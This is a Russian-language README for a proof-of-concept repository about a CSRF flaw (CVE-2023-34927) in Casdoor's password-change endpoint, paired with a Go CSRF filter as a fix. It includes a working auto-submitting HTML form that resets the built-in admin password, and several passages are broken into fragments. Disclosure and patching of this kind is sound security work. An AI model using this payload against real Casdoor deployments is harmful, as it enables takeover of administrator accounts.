
Доказательство концепции CSRF-эксплойта для конечной точки `/api/set-password` в Casdoor (CVE-2023-34927), позволяющее несанкционированно изменять пароль через межсайтовые POST-запросы. Включает исправление CSRF-фильтра на основе Go.
Краткое описание
/api/set-password, позволяющая изменять пароль без согласия пользователя.Воздействие
built-in/admin), что приводит к захвату учётной записи.Предварительные условия атаки
casdoor_session_id./api/set-password.Доказательство концепции
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
<input name='userOwner' value='built-in' type='hidden'>
<input name='userName' value='admin' type='hidden'>
<input name='newPassword' value='hacked' type='hidden'>
<input type=submit>
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</html>
Первопричина
/api/* принимают запросы, аутентифицированные через cookie, без проверки same-origin (Origin/Referer) или CSRF-токенов.Обзор исправления
/api/*.Authorization, Basic auth, client credentials или accessToken), либо запросы без браузерных сессионных cookie (типичные вызовы server-to-server).Реализация
routers.CSRFFilter, реализованный в csrf_filter.go. Этот фильтр:
Как интегрировать в Casdoor
csrf_filter.go в существующий пакет routers проекта Casdoor. Не изменяйте и не удаляйте ничего в этом файле.main):
// Beego v1 style
web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
// If your project uses Beego v2 and imports as `web`:
// web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
Проверка
Unauthorized operation, а сервер должен записать в лог CSRF check failed.Authorization или параметры accessToken, должны продолжать работать.Файлы репозитория
csrf_filter.go: CSRF-фильтр для копирования в пакет routers Casdoor.poc.html: Минимальная страница, воспроизводящая CSRF-атаку.README.md: Этот документ, описывающий уязвимость и шаги исправления.Ссылки
Видео